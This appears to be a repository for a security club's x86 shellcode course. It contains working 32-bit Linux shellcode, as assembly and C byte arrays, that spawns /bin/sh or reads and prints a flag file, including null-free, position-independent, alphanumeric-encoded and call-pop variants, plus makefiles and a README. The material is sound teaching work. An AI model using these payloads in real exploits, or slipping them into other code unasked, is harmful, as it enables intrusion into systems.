├── .gitignore ├── 0_execve_binsh ├── makefile ├── shell.c └── shell.s ├── 1_execve_binsh_nullfree ├── makefile ├── shell.c └── shell.s ├── 2_open_read_write ├── makefile ├── orw.c └── orw.s ├── 3_open_read_write_position_independent ├── makefile ├── orw.c └── orw.s ├── 4_alphanumeric_shellcode ├── alnum.c ├── alnum.s └── makefile ├── 5_call_pop_trick ├── makefile ├── orw.c ├── orw.s ├── shell.c └── shell.s └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Libraries 12 | *.lib 13 | *.a 14 | *.la 15 | *.lo 16 | 17 | # Shared objects (inc. Windows DLLs) 18 | *.dll 19 | *.so 20 | *.so.* 21 | *.dylib 22 | 23 | # Executables 24 | *.exe 25 | *.out 26 | *.app 27 | *.i*86 28 | *.x86_64 29 | *.hex 30 | *.bin 31 | 32 | # Debug files 33 | *.dSYM/ 34 | -------------------------------------------------------------------------------- /0_execve_binsh/makefile: -------------------------------------------------------------------------------- 1 | bin: shell.s 2 | nasm -f elf32 -o shell.o shell.s && ld -m elf_i386 -o shell.bin shell.o 3 | 4 | shellcode: shell.s 5 | nasm -f bin -o code shell.s && xxd -i code 6 | 7 | cbin: shell.c 8 | gcc -z execstack -m32 -o shell.out shell.c 9 | 10 | .PHONY: clean 11 | clean: 12 | rm *.out *.bin *.o code 13 | -------------------------------------------------------------------------------- /0_execve_binsh/shell.c: -------------------------------------------------------------------------------- 1 | unsigned char code[] = { 2 | 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 3 | 0xb8, 0x0b, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 4 | 0x00, 0x00, 0x00, 0xcd, 0x80 5 | }; 6 | 7 | int main(int argc, char **argv) 8 | { 9 | int (*func)(); 10 | func = (int (*)()) code; 11 | (int)(*func)(); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /0_execve_binsh/shell.s: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | global _start 4 | 5 | _start: 6 | push 0x0068732f 7 | push 0x6e69622f 8 | mov ebx, esp 9 | 10 | mov eax, 0xb 11 | mov ecx, 0x0 12 | mov edx, 0x0 13 | int 0x80 14 | -------------------------------------------------------------------------------- /1_execve_binsh_nullfree/makefile: -------------------------------------------------------------------------------- 1 | bin: shell.s 2 | nasm -f elf32 -o shell.o shell.s && ld -m elf_i386 -o shell.bin shell.o 3 | 4 | shellcode: shell.s 5 | nasm -f bin -o code shell.s && xxd -i code 6 | 7 | cbin: shell.c 8 | gcc -z execstack -m32 -o shell.out shell.c 9 | 10 | .PHONY: clean 11 | clean: 12 | rm *.out *.o *.bin code 13 | -------------------------------------------------------------------------------- /1_execve_binsh_nullfree/shell.c: -------------------------------------------------------------------------------- 1 | unsigned char code[] = { 2 | 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 3 | 0x6e, 0x89, 0xe3, 0xb0, 0x0b, 0x31, 0xc9, 0x31, 0xd2, 0xcd, 0x80 4 | }; 5 | 6 | int main(int argc, char **argv) 7 | { 8 | int (*func)(); 9 | func = (int (*)()) code; 10 | (int)(*func)(); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /1_execve_binsh_nullfree/shell.s: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | global _start 4 | 5 | _start: 6 | xor eax, eax 7 | 8 | push eax 9 | push 0x68732f2f 10 | push 0x6e69622f 11 | mov ebx, esp 12 | 13 | mov al, 0xb 14 | xor ecx, ecx 15 | xor edx, edx 16 | int 0x80 17 | -------------------------------------------------------------------------------- /2_open_read_write/makefile: -------------------------------------------------------------------------------- 1 | bin: orw.s 2 | nasm -f elf32 -o orw.o orw.s && ld -m elf_i386 -o orw.bin orw.o 3 | 4 | shellcode: orw.s 5 | nasm -f bin -o code orw.s && xxd -i code 6 | 7 | cbin: orw.c 8 | gcc -z execstack -m32 -o orw.out orw.c 9 | 10 | .PHONY: clean 11 | clean: 12 | rm *.out *.o *.bin code 13 | -------------------------------------------------------------------------------- /2_open_read_write/orw.c: -------------------------------------------------------------------------------- 1 | unsigned char code[] = { 2 | 0x31, 0xc0, 0x31, 0xd2, 0x50, 0x68, 0x66, 0x6c, 0x61, 0x67, 0x68, 0x6f, 3 | 0x64, 0x65, 0x2f, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x68, 0x65, 0x2f, 0x73, 4 | 0x68, 0x68, 0x2f, 0x68, 0x6f, 0x6d, 0x89, 0xe3, 0xb0, 0x05, 0x31, 0xc9, 5 | 0xcd, 0x80, 0x89, 0xc3, 0xb0, 0x03, 0xb9, 0xc4, 0x90, 0x04, 0x08, 0xb2, 6 | 0x50, 0xcd, 0x80, 0x89, 0xc2, 0x31, 0xdb, 0xb0, 0x04, 0xb3, 0x01, 0xcd, 7 | 0x80, 0xb0, 0x01, 0x31, 0xdb, 0xcd, 0x80 8 | }; 9 | 10 | int main(int argc, char **argv) 11 | { 12 | int (*func)(); 13 | func = (int (*)()) code; 14 | (int)(*func)(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /2_open_read_write/orw.s: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | section .text 4 | global _start 5 | 6 | _start: ; this is where code starts getting exec'ed 7 | xor eax,eax 8 | xor edx,edx 9 | push eax 10 | 11 | ;/home/shellcode/flag 12 | push 0x67616c66 ;galf 13 | push 0x2f65646f ;/edo 14 | push 0x636c6c65 ;clle 15 | push 0x68732f65 ;hs/e 16 | push 0x6d6f682f ;moh/ 17 | 18 | ; open /home/shellcode/flag 19 | mov ebx, esp ; mov string's address to ebx 20 | mov al,0x5 ; open( 21 | xor ecx, ecx ; read-only mode ( O_RDONLY ) 22 | int 0x80 ; ); 23 | 24 | ; read /home/shellcode/flag to a buffer 25 | mov ebx,eax ; file_descriptor, 26 | mov al,0x3 ; read( 27 | mov ecx, mybuf ; mov buffer address to ecx 28 | mov dl,0x50 ; *bufsize 29 | int 0x80 ; ); 30 | 31 | ; write buffer's content to STDOUT 32 | mov edx,eax ; edx = len = read's return value 33 | xor ebx, ebx ; clear ebx 34 | mov al,0x4 ; write( 35 | mov bl,0x1 ; STDOUT, 36 | int 0x80 ; ); 37 | 38 | ; exit(0) 39 | mov al, 0x1 ; exit( 40 | xor ebx, ebx ; 0 41 | int 0x80 ; ); 42 | 43 | section .bss 44 | mybuf: resb 0x50 45 | -------------------------------------------------------------------------------- /3_open_read_write_position_independent/makefile: -------------------------------------------------------------------------------- 1 | bin: orw.s 2 | nasm -f elf32 -o orw.o orw.s && ld -m elf_i386 -o orw.bin orw.o 3 | 4 | shellcode: orw.s 5 | nasm -f bin -o code orw.s && xxd -i code 6 | 7 | cbin: orw.c 8 | gcc -z execstack -m32 -o orw.out orw.c 9 | 10 | .PHONY: clean 11 | clean: 12 | rm *.out *.o *.bin code 13 | -------------------------------------------------------------------------------- /3_open_read_write_position_independent/orw.c: -------------------------------------------------------------------------------- 1 | unsigned char code[] = { 2 | 0x31, 0xc0, 0x31, 0xd2, 0x50, 0x68, 0x66, 0x6c, 0x61, 0x67, 0x68, 0x6f, 3 | 0x64, 0x65, 0x2f, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x68, 0x65, 0x2f, 0x73, 4 | 0x68, 0x68, 0x2f, 0x68, 0x6f, 0x6d, 0x89, 0xe3, 0xb0, 0x05, 0x31, 0xc9, 5 | 0xcd, 0x80, 0x89, 0xc3, 0xb0, 0x03, 0x83, 0xec, 0x50, 0x89, 0xe1, 0xb2, 6 | 0x50, 0xcd, 0x80, 0x89, 0xc2, 0x31, 0xdb, 0xb0, 0x04, 0xb3, 0x01, 0xcd, 7 | 0x80, 0xb0, 0x01, 0x31, 0xdb, 0xcd, 0x80 8 | }; 9 | 10 | int main(int argc, char **argv) 11 | { 12 | int (*func)(); 13 | func = (int (*)()) code; 14 | (int)(*func)(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /3_open_read_write_position_independent/orw.s: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | global _start 4 | 5 | _start: ; this is where code starts getting exec'ed 6 | xor eax,eax 7 | xor edx,edx 8 | push eax 9 | 10 | ;/home/shellcode/flag 11 | push 0x67616c66 ;galf 12 | push 0x2f65646f ;/edo 13 | push 0x636c6c65 ;clle 14 | push 0x68732f65 ;hs/e 15 | push 0x6d6f682f ;moh/ 16 | 17 | ; open /home/shellcode/flag 18 | mov ebx, esp ; mov string's address to ebx 19 | mov al,0x5 ; open( 20 | xor ecx, ecx ; read-only mode 21 | int 0x80 ; ); 22 | 23 | ; read /home/shellcode/flag to a buffer 24 | mov ebx,eax ; file_descriptor, 25 | mov al,0x3 ; read( 26 | sub esp,0x50 ; allocate a space for buffer 27 | mov ecx, esp ; mov buffer address to ecx 28 | mov dl,0x50 ; *bufsize 29 | int 0x80 ; ); 30 | 31 | ; write to STDOUT 32 | mov edx, eax ; edx = len = read's return value 33 | xor ebx, ebx ; clear ebx 34 | mov al,0x4 ; write( 35 | mov bl,0x1 ; STDOUT, 36 | int 0x80 ; ); 37 | 38 | ; exit(0) 39 | mov al, 0x1 ; exit( 40 | xor ebx, ebx ; 0 41 | int 0x80 ; ); 42 | -------------------------------------------------------------------------------- /4_alphanumeric_shellcode/alnum.c: -------------------------------------------------------------------------------- 1 | int main() 2 | { 3 | char shellcode[] = "PYj0X40PPPPQPaJRX4Dj0ZJJJ0DV7WZJRX52C0059qO0PTY01RX521055kajzPTY01A01A01RX540D15ZFXaPTY01AAA01WX50C005XlRYPWX5CC005llCXPRX5AE105pzaXPTY01AA01A01Tx"; 4 | (*(void (*)())shellcode)(); 5 | } 6 | -------------------------------------------------------------------------------- /4_alphanumeric_shellcode/alnum.s: -------------------------------------------------------------------------------- 1 | BITS 32 2 | ; alpha-numeric shellcode without [BINSHbinsh] 3 | ; 146 byte 4 | global _start 5 | _start: 6 | push eax 7 | pop ecx ; ecx = instruction address 8 | 9 | prepare_registers: 10 | push 0x30 11 | pop eax 12 | xor al, 0x30 ; eax = 0 13 | 14 | push eax ;ecx = 0 15 | push eax ;edx = 0 16 | push eax ;ebx = 0 17 | push eax ;ebp = 0 18 | push ecx ;esi = instrction address 19 | push eax ;edi = 0 20 | popad 21 | dec edx ;edx = 0xffffffff 22 | 23 | patch_ret: 24 | ;0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) 25 | push edx 26 | pop eax 27 | xor al, 0x44 28 | push 0x30 29 | pop edx 30 | dec edx 31 | dec edx 32 | dec edx ; edx = 0x2d 33 | xor [esi+2*edx+0x37], al ; base + 145 = 0x78 34 | push edi 35 | pop edx 36 | dec edx ; edx = 0xffffffff 37 | 38 | build_stack: 39 | ; push 0xff80cd0b 40 | push edx 41 | pop eax 42 | xor eax, 0x30304332 43 | xor eax, 0x304f7139 44 | push eax 45 | push esp 46 | pop ecx 47 | xor [ecx], dh 48 | 49 | ; push 0xb05a5059 50 | push edx 51 | pop eax 52 | xor eax, 0x35303132 53 | xor eax, 0x7a6a616b 54 | push eax 55 | push esp 56 | pop ecx 57 | xor [ecx], dh 58 | inc ecx 59 | xor [ecx], dh 60 | inc ecx 61 | xor [ecx], dh 62 | 63 | ; push 0x50e3896e 64 | push edx 65 | pop eax 66 | xor eax, 0x31443034 67 | xor eax, 0x6158465a 68 | push eax 69 | push esp 70 | pop ecx 71 | xor [ecx], dh 72 | inc ecx 73 | inc ecx 74 | inc ecx 75 | xor [ecx], dh 76 | 77 | ; push 0x69622f68 78 | push edi 79 | pop eax 80 | xor eax, 0x30304330 81 | xor eax, 0x59526c58 82 | push eax 83 | 84 | ; push 0x68732f2f 85 | push edi 86 | pop eax 87 | xor eax, 0x30304343 88 | xor eax, 0x58436c6c 89 | push eax 90 | 91 | ; push 0x6850c031 92 | push edx 93 | pop eax 94 | xor eax, 0x30314541 95 | xor eax, 0x58617a70 96 | push eax 97 | push esp 98 | pop ecx 99 | xor [ecx], dh 100 | inc ecx 101 | inc ecx 102 | xor [ecx], dh 103 | inc ecx 104 | xor [ecx], dh 105 | 106 | push esp 107 | 108 | ret: 109 | db 0x78 110 | -------------------------------------------------------------------------------- /4_alphanumeric_shellcode/makefile: -------------------------------------------------------------------------------- 1 | shellcode: alnum.s 2 | nasm -f elf32 -o code alnum.s && strings code 3 | 4 | cbin: alnum.c 5 | gcc -z execstack -m32 -o alnum.out alnum.c 6 | 7 | .PHONY: clean 8 | clean: 9 | rm *.out *.o *.bin code 10 | -------------------------------------------------------------------------------- /5_call_pop_trick/makefile: -------------------------------------------------------------------------------- 1 | orw: orw.s 2 | nasm -f elf32 -o orw.o orw.s && ld -m elf_i386 -o orw.bin orw.o 3 | 4 | shell: shell.s 5 | nasm -f elf32 -o shell.o shell.s && ld -m elf_i386 -o shell.bin shell.o 6 | 7 | orw_shellcode: orw.s 8 | nasm -f bin -o code orw.s && xxd -i code 9 | 10 | shell_shellcode: shell.s 11 | nasm -f bin -o code shell.s && xxd -i code 12 | 13 | corw: orw.c 14 | gcc -z execstack -m32 -o orw.out orw.c 15 | 16 | cshell: shell.c 17 | gcc -z execstack -m32 -o shell.out shell.c 18 | 19 | .PHONY: clean 20 | clean: 21 | rm *.out *.o *.bin code 22 | -------------------------------------------------------------------------------- /5_call_pop_trick/orw.c: -------------------------------------------------------------------------------- 1 | unsigned char code[] = { 2 | 0xeb, 0x29, 0x31, 0xc0, 0x31, 0xd2, 0x5b, 0x88, 0x43, 0x14, 0xb0, 0x05, 3 | 0x31, 0xc9, 0xcd, 0x80, 0x89, 0xc3, 0xb0, 0x03, 0x83, 0xec, 0x50, 0x54, 4 | 0x59, 0xb2, 0x50, 0xcd, 0x80, 0x89, 0xc2, 0xb0, 0x04, 0xb3, 0x01, 0xcd, 5 | 0x80, 0xb0, 0x01, 0x31, 0xdb, 0xcd, 0x80, 0xe8, 0xd2, 0xff, 0xff, 0xff, 6 | 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x63, 7 | 0x6f, 0x64, 0x65, 0x2f, 0x66, 0x6c, 0x61, 0x67 8 | }; 9 | 10 | int main(int argc, char **argv) 11 | { 12 | int (*func)(); 13 | func = (int (*)()) code; 14 | (int)(*func)(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /5_call_pop_trick/orw.s: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | section .data ; declaring our .text segment 4 | global _start ; telling where program execution should start 5 | 6 | _start: ; this is where code starts getting exec'ed 7 | jmp ed 8 | 9 | st: 10 | xor eax, eax 11 | xor edx, edx 12 | ; open /home/shellcode/flag 13 | pop ebx ; pop string's address to ebx 14 | mov [ebx+0x14], al ; add null byte 15 | mov al,0x5 ; open( 16 | xor ecx, ecx ; O_RDONLY 17 | int 0x80 ; ); 18 | 19 | ; read /home/shellcode/flag to a buffer 20 | mov ebx,eax ; file_descriptor, 21 | mov al,0x3 ; read( 22 | sub esp,0x50 ; allocate a space for buffer 23 | push esp ; push buffer's address to stack 24 | pop ecx ; *buf, 25 | mov dl,0x50 ; *bufsize 26 | int 0x80 ; ); 27 | 28 | ; write to STDOUT 29 | mov edx, eax ; edx = len = read's return value 30 | mov al,0x4 ; write( 31 | mov bl,0x1 ; STDOUT, 32 | int 0x80 ; ); 33 | 34 | ; exit(0) 35 | mov al, 0x1 ; exit( 36 | xor ebx, ebx ; 0 37 | int 0x80 ; ); 38 | 39 | ed: 40 | call st 41 | db '/home/shellcode/flag' 42 | -------------------------------------------------------------------------------- /5_call_pop_trick/shell.c: -------------------------------------------------------------------------------- 1 | unsigned char code[] = { 2 | 0xeb, 0x0e, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x08, 0x31, 0xc9, 0x31, 0xd2, 3 | 0xb0, 0x0b, 0xcd, 0x80, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 4 | 0x6e, 0x2f, 0x73, 0x68 5 | }; 6 | 7 | int main(int argc, char **argv) 8 | { 9 | int (*func)(); 10 | func = (int (*)()) code; 11 | (int)(*func)(); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /5_call_pop_trick/shell.s: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | section .data 4 | global _start 5 | 6 | _start: 7 | jmp ed 8 | 9 | st: 10 | pop ebx 11 | xor eax, eax 12 | mov [ebx+7], al 13 | xor ecx, ecx 14 | xor edx, edx 15 | mov al, 11 16 | int 0x80 17 | 18 | ed: 19 | call st 20 | db '/bin/sh' 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # x86_shellcode_tutorial 2 | A training course for BambooFox 3 | Here is the [slide](https://drive.google.com/file/d/0B7UcjiibMqcDZjByazl0WGhWQ00/view) & the [record](https://www.youtube.com/watch?v=auv-64HUBw8) of the course ( both in Chinese ) 4 | 5 | ## Building 6 | ### 0_execve_binsh ~ 3_open_read_write_position_independent 7 | All the building process can be classify as the following commands: 8 | 9 | Assemble the `.s` file into the `.bin` file (executable) 10 | ``` 11 | make bin 12 | ``` 13 | View the machine code (shellcode) 14 | ``` 15 | make shellcode 16 | ``` 17 | Compile the `.c` file and test the machine code ( shellcode ) 18 | ``` 19 | make cbin && ./[filename].out 20 | ``` 21 | 22 | ### 4_alphanumeric_shellcode 23 | There's no `bin` target in the `4_alphanumeric_shellcode`'s makefile 24 | it can only view shellcode or compile the `.c` file and test the shellcode 25 | 26 | ### 5_call_pop_trick 27 | Assemble `orw.s` into `orw.bin` 28 | ``` 29 | make orw 30 | ``` 31 | Assemble `shell.s` into `shell.bin` 32 | ``` 33 | make shell 34 | ``` 35 | View `orw.s`'s machine code ( shellcode ) 36 | ``` 37 | make orw_shellcode 38 | ``` 39 | View `shell.s`'s machine code ( shellcode ) 40 | ``` 41 | make shell_shellcode 42 | ``` 43 | Compile `orw.c` and test the machine code ( shellcode ) 44 | ``` 45 | make corw && ./orw.out 46 | ``` 47 | Compile `shell.c` and test the machine code ( shellcode ) 48 | ``` 49 | make cshell && ./shell.out 50 | ``` 51 | 52 | You can clean the `*.bin`, `*.o`, `*.out`... by using `make clean` 53 | 54 | --------------------------------------------------------------------------------